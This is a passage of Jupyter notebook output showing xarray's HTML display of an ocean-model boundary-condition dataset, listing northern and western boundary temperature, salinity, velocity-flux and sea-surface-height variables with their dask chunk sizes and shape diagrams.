chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.07303974393395 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id='data-98e485ae-e417-4f1f-9adc-02d6bf32ca31' class='xr-var-data-in' type='checkbox'><label for='data-98e485ae-e417-4f1f-9adc-02d6bf32ca31' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 29.419308022979912,19.419308022979912 29.419308022979912,137.0663668465093 10.0,117.6470588235294\" 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class='xr-var-item'><div class='xr-var-name'><span>salt_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-f4bc02a4-b431-4ec2-8c2c-4171e42032b7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f4bc02a4-b431-4ec2-8c2c-4171e42032b7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0c2b9128-537e-4deb-af5d-c7ffe3e01f3d' class='xr-var-data-in' type='checkbox'><label for='data-0c2b9128-537e-4deb-af5d-c7ffe3e01f3d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" 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title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-afd59fe9-f27d-466e-bdaa-3c8e7a1353c0' class='xr-var-data-in' type='checkbox'><label for='data-afd59fe9-f27d-466e-bdaa-3c8e7a1353c0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " 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149.41930802297992,19.419308022979912 149.41930802297992,137.0663668465093 29.419308022979912,137.0663668465093\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"89.419308\" y=\"157.066367\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"169.419308\" y=\"78.242837\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,169.419308,78.242837)\">100</text>\n", " <text x=\"9.709654\" y=\"147.356713\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,9.709654,147.356713)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>zeta_north</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-7be2f17d-eab4-4da0-a23c-85e608ab15c5' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7be2f17d-eab4-4da0-a23c-85e608ab15c5' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d9a2a994-f905-4baa-bc1b-3dbf28c1acc1' class='xr-var-data-in' type='checkbox'><label for='data-d9a2a994-f905-4baa-bc1b-3dbf28c1acc1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" 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for='attrs-1eb59f79-b4a0-4f0b-81a4-65a9d8215d1d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e3d3bf65-2126-45b3-9984-ae826618e883' class='xr-var-data-in' type='checkbox'><label for='data-e3d3bf65-2126-45b3-9984-ae826618e883' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-cc3e90a9-8794-49b7-a393-53ba7f78b834' class='xr-var-data-in' type='checkbox'><label for='data-cc3e90a9-8794-49b7-a393-53ba7f78b834' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 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id='data-698e59c5-ae9b-4bd1-b6e5-5de88c2370e0' class='xr-var-data-in' type='checkbox'><label for='data-698e59c5-ae9b-4bd1-b6e5-5de88c2370e0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers 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class='xr-var-item'><div class='xr-var-name'><span>salt_west</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-278fe0b4-3117-4962-8650-3aedabd06948' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-278fe0b4-3117-4962-8650-3aedabd06948' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e4cf726e-d384-4195-be87-a6d87dbbe64f' class='xr-var-data-in' type='checkbox'><label for='data-e4cf726e-d384-4195-be87-a6d87dbbe64f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" 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for='attrs-8c5184dd-41d2-44e5-93da-60fa62ae695d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b165f966-f3dd-4c81-86c5-72497095b797' class='xr-var-data-in' type='checkbox'><label for='data-b165f966-f3dd-4c81-86c5-72497095b797' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " 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meta=np.ndarray&gt;</div><input id='attrs-682164f3-a251-4b2d-b671-b5525cde559e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-682164f3-a251-4b2d-b671-b5525cde559e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f6296424-1537-4d1b-a6bc-97a095136b54' class='xr-var-data-in' type='checkbox'><label for='data-f6296424-1537-4d1b-a6bc-97a095136b54' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" 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for='attrs-e7f7a714-f3e6-4847-aa59-86c527660ebd' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5a3e5423-70c5-4662-a46f-adeb000dc7ac' class='xr-var-data-in' type='checkbox'><label for='data-5a3e5423-70c5-4662-a46f-adeb000dc7ac' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9f0ae3fa-fe1c-4744-bc71-bf6b63316b5d' class='xr-var-data-in' type='checkbox'><label for='data-9f0ae3fa-fe1c-4744-bc71-bf6b63316b5d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.07303974393395 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class='xr-index-data-in' type='checkbox'/><label for='index-45746388-590f-48fc-bbfd-8c200c41ed78' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([4383.5, 4384.5, 4385.5, 4386.5], dtype=&#x27;float64&#x27;, name=&#x27;bry_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-4afba7bb-0e21-4c46-aca6-96a343ab0ada' class='xr-section-summary-in' type='checkbox' checked><label for='section-4afba7bb-0e21-4c46-aca6-96a343ab0ada' 